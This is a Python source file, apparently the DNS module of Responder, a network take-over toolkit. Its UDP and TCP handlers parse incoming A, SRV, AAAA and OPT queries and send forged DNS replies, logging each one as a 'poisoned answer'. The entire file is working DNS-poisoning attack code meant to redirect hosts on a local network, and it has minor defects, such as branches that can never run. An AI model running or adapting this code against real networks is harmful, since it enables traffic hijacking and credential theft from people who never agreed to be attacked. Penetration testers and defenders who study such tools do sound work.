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135 lines
6.3 KiB
Python
Executable File
135 lines
6.3 KiB
Python
Executable File
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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from utils import *
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from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
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if settings.Config.PY2OR3 == "PY3":
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from socketserver import BaseRequestHandler
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else:
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from SocketServer import BaseRequestHandler
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#Should we answer to those AAAA?
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Have_IPv6 = settings.Config.IPv6
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def ParseDNSType(data):
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QueryTypeClass = data[len(data)-4:]
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OPT = data[len(data)-22:len(data)-20]
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if OPT == "\x00\x29":
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return "OPTIPv4"
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# If Type A, Class IN, then answer.
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elif QueryTypeClass == "\x00\x01\x00\x01":
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return "A"
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elif QueryTypeClass == "\x00\x21\x00\x01":
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return "SRV"
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elif QueryTypeClass == "\x00\x1c\x00\x01":
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return "IPv6"
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class DNS(BaseRequestHandler):
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def handle(self):
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# Ditch it if we don't want to respond to this host
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if RespondToThisIP(self.client_address[0]) is not True:
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return None
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try:
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data, soc = self.request
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
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buff = DNS_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
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buff = DNS_AnsOPT()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
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buff = DNS_SRV_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
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buff = DNS6_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
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buff = DNS6_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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except Exception:
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pass
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# DNS Server TCP Class
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class DNSTCP(BaseRequestHandler):
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def handle(self):
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# Break out if we don't want to respond to this host
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if RespondToThisIP(self.client_address[0]) is not True:
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return None
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try:
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data = self.request.recv(1024)
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
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buff = DNS_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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self.request.send(NetworkSendBufferPython2or3(buff))
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
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buff = DNS_AnsOPT()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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self.request.send(NetworkSendBufferPython2or3(buff))
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
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buff = DNS_SRV_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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self.request.send(NetworkSendBufferPython2or3(buff))
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
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buff = DNS6_Ans()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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self.request.send(NetworkSendBufferPython2or3(buff))
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
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buff = DNS6_AnsOPT()
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buff.calculate(NetworkRecvBufferPython2or3(data))
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self.request.send(NetworkSendBufferPython2or3(buff))
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
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except Exception:
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pass
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